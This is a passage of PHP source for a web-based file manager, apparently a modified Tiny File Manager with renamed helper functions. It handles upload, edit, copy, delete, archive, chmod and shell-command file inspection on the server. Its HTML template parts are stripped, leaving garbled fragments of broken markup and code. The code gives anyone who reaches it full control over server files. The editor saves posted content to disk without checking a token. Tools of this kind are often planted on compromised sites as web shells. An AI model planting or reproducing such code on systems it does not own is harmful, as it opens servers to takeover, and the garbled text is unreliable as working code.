$fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fanco($copy), fanco($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fanco($copy), fanco($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); $from = $path . '/' . $f; $dest = $copy_to_path . '/' . $f; if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) and $old != '' and $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fanco($old), fanco($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fanco($old), fanco($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' and is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) and !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else { if (rename($tmp_name, $fullPath)) { if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fanco($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' and is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) and fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) and fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } if (isset($_GET['upload']) and !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION and $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

:
File size:
MIME-type:
:
:
:
: %
'.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fanco($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fanco($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fanco($content) . '
'; } echo $content; } ?>
'. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 